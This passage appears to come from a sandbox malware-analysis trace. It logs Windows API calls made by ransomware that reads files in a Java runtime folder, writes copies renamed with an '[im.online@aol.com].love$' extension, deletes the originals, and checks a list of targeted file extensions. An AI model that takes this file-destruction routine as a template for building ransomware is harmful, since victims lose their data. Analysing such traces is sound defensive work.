dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0236.057] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.057] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.057] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0236.058] GetLastError () returned 0x0 [0236.058] ReadFile (in: hFile=0x4dc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x38, lpOverlapped=0x0) returned 1 [0236.059] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x40, lpOverlapped=0x0) returned 1 [0236.060] ReadFile (in: hFile=0x4dc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.061] WriteFile (in: hFile=0x4e0, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf6, lpOverlapped=0x0) returned 1 [0236.061] SetEndOfFile (hFile=0x4e0) returned 1 [0236.061] CloseHandle (hObject=0x4e0) returned 1 [0236.061] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.061] SetEndOfFile (hFile=0x4dc) returned 1 [0236.064] CloseHandle (hObject=0x4dc) returned 1 [0236.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0236.065] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0236.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.066] lstrlenW (lpString=".doc") returned 4 [0236.066] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0236.066] lstrlenW (lpString=".docx") returned 5 [0236.066] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0236.066] lstrlenW (lpString=".pdf") returned 4 [0236.066] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0236.066] lstrlenW (lpString=".xls") returned 4 [0236.066] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0236.066] lstrlenW (lpString=".xlsx") returned 5 [0236.066] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0236.066] lstrlenW (lpString=".ppt") returned 4 [0236.066] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0236.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.066] lstrlenW (lpString=".zip") returned 4 [0236.066] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0236.128] lstrlenW (lpString=".rar") returned 4 [0236.128] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0236.128] lstrlenW (lpString=".bz2") returned 4 [0236.128] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0236.128] lstrlenW (lpString=".7z") returned 3 [0236.128] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0236.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.128] lstrlenW (lpString=".dbf") returned 4 [0236.128] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0236.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.128] lstrlenW (lpString=".1cd") returned 4 [0236.128] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.129] lstrlenW (lpString=".jpg") returned 4 [0236.129] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.129] lstrlenW (lpString=".doc") returned 4 [0236.129] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString=".docx") returned 5 [0236.129] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0236.129] lstrlenW (lpString=".pdf") returned 4 [0236.129] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString=".xls") returned 4 [0236.129] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString=".xlsx") returned 5 [0236.129] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0236.129] lstrlenW (lpString=".ppt") returned 4 [0236.129] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.129] lstrlenW (lpString=".zip") returned 4 [0236.129] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString=".rar") returned 4 [0236.129] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0236.129] lstrlenW (lpString=".bz2") returned 4 [0236.129] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0236.130] lstrlenW (lpString=".7z") returned 3 [0236.130] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0236.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.130] lstrlenW (lpString=".dbf") returned 4 [0236.130] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0236.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.130] lstrlenW (lpString=".1cd") returned 4 [0236.130] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0236.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0236.130] lstrlenW (lpString=".jpg") returned 4 [0236.130] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0236.130] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0236.130] lstrlenW (lpString="javaws.jar") returned 10 [0236.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0236.132] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=944167) returned 1 [0236.132] CloseHandle (hObject=0x4e8) returned 1 [0236.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0236.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0236.132] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0236.133] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.133] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0236.134] GetLastError () returned 0x0 [0236.134] ReadFile (in: hFile=0x4e8, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xe6827, lpOverlapped=0x0) returned 1 [0237.746] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe6830, lpOverlapped=0x0) returned 1 [0238.394] ReadFile (in: hFile=0x4e8, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.394] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe8, lpOverlapped=0x0) returned 1 [0238.394] SetEndOfFile (hFile=0x4ec) returned 1 [0238.610] CloseHandle (hObject=0x4ec) returned 1 [0238.610] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.610] SetEndOfFile (hFile=0x4e8) returned 1 [0238.635] CloseHandle (hObject=0x4e8) returned 1 [0238.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0238.635] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0238.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.636] lstrlenW (lpString=".doc") returned 4 [0238.636] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0238.636] lstrlenW (lpString=".docx") returned 5 [0238.637] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0238.637] lstrlenW (lpString=".pdf") returned 4 [0238.637] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0238.637] lstrlenW (lpString=".xls") returned 4 [0238.637] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0238.637] lstrlenW (lpString=".xlsx") returned 5 [0238.637] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0238.637] lstrlenW (lpString=".ppt") returned 4 [0238.637] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0238.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.637] lstrlenW (lpString=".zip") returned 4 [0238.637] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0238.637] lstrlenW (lpString=".rar") returned 4 [0238.637] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0238.637] lstrlenW (lpString=".bz2") returned 4 [0238.637] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0238.637] lstrlenW (lpString=".7z") returned 3 [0238.637] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.637] lstrlenW (lpString=".dbf") returned 4 [0238.637] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.637] lstrlenW (lpString=".1cd") returned 4 [0238.637] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.637] lstrlenW (lpString=".jpg") returned 4 [0238.637] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0238.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.638] lstrlenW (lpString=".doc") returned 4 [0238.638] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0238.638] lstrlenW (lpString=".docx") returned 5 [0238.638] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0238.638] lstrlenW (lpString=".pdf") returned 4 [0238.638] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0238.638] lstrlenW (lpString=".xls") returned 4 [0238.638] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0238.638] lstrlenW (lpString=".xlsx") returned 5 [0238.638] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0238.638] lstrlenW (lpString=".ppt") returned 4 [0238.638] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0238.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.638] lstrlenW (lpString=".zip") returned 4 [0238.638] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0238.638] lstrlenW (lpString=".rar") returned 4 [0238.638] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0238.638] lstrlenW (lpString=".bz2") returned 4 [0238.638] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0238.638] lstrlenW (lpString=".7z") returned 3 [0238.638] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0238.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.638] lstrlenW (lpString=".dbf") returned 4 [0238.638] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0238.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.638] lstrlenW (lpString=".1cd") returned 4 [0238.638] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0238.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0238.638] lstrlenW (lpString=".jpg") returned 4 [0238.638] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0238.639] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0238.639] lstrlenW (lpString="jsse.jar") returned 8 [0238.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0238.640] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=584576) returned 1 [0238.640] CloseHandle (hObject=0x4e8) returned 1 [0238.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0238.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0238.641] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.641] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.641] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0238.642] GetLastError () returned 0x0 [0238.642] ReadFile (in: hFile=0x4e8, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0239.003] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0239.318] ReadFile (in: hFile=0x4e8, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.318] WriteFile (in: hFile=0x4ec, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe4, lpOverlapped=0x0) returned 1 [0239.318] SetEndOfFile (hFile=0x4ec) returned 1 [0239.319] CloseHandle (hObject=0x4ec) returned 1 [0239.319] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.319] SetEndOfFile (hFile=0x4e8) returned 1 [0239.719] CloseHandle (hObject=0x4e8) returned 1 [0239.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0239.726] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.727] lstrlenW (lpString=".doc") returned 4 [0239.727] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0239.727] lstrlenW (lpString=".docx") returned 5 [0239.727] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0239.727] lstrlenW (lpString=".pdf") returned 4 [0239.727] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0239.727] lstrlenW (lpString=".xls") returned 4 [0239.728] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0239.728] lstrlenW (lpString=".xlsx") returned 5 [0239.728] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0239.728] lstrlenW (lpString=".ppt") returned 4 [0239.728] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0239.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.728] lstrlenW (lpString=".zip") returned 4 [0239.728] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0239.728] lstrlenW (lpString=".rar") returned 4 [0239.728] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0239.728] lstrlenW (lpString=".bz2") returned 4 [0239.728] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0239.728] lstrlenW (lpString=".7z") returned 3 [0239.728] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0239.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.728] lstrlenW (lpString=".dbf") returned 4 [0239.728] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0239.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.728] lstrlenW (lpString=".1cd") returned 4 [0239.728] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0239.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.728] lstrlenW (lpString=".jpg") returned 4 [0239.728] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0239.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.729] lstrlenW (lpString=".doc") returned 4 [0239.729] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0239.729] lstrlenW (lpString=".docx") returned 5 [0239.729] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0239.729] lstrlenW (lpString=".pdf") returned 4 [0239.729] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0239.729] lstrlenW (lpString=".xls") returned 4 [0239.729] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0239.729] lstrlenW (lpString=".xlsx") returned 5 [0239.729] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0239.729] lstrlenW (lpString=".ppt") returned 4 [0239.729] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0239.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.729] lstrlenW (lpString=".zip") returned 4 [0239.729] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0239.729] lstrlenW (lpString=".rar") returned 4 [0239.729] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0239.729] lstrlenW (lpString=".bz2") returned 4 [0239.729] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0239.729] lstrlenW (lpString=".7z") returned 3 [0239.729] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0239.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.729] lstrlenW (lpString=".dbf") returned 4 [0239.729] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0239.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.729] lstrlenW (lpString=".1cd") returned 4 [0239.729] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0239.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0239.730] lstrlenW (lpString=".jpg") returned 4 [0239.730] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0239.730] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0239.730] lstrlenW (lpString="logging.properties") returned 18 [0239.730] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.731] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=2455) returned 1 [0239.731] CloseHandle (hObject=0x4e4) returned 1 [0239.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0239.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.731] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.732] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.732] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.732] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0239.733] GetLastError () returned 0x0 [0239.733] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x997, lpOverlapped=0x0) returned 1 [0239.756] WriteFile (in: hFile=0x4e8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0239.757] ReadFile (in: hFile=0x4e4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.757] WriteFile (in: hFile=0x4e8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xf8, 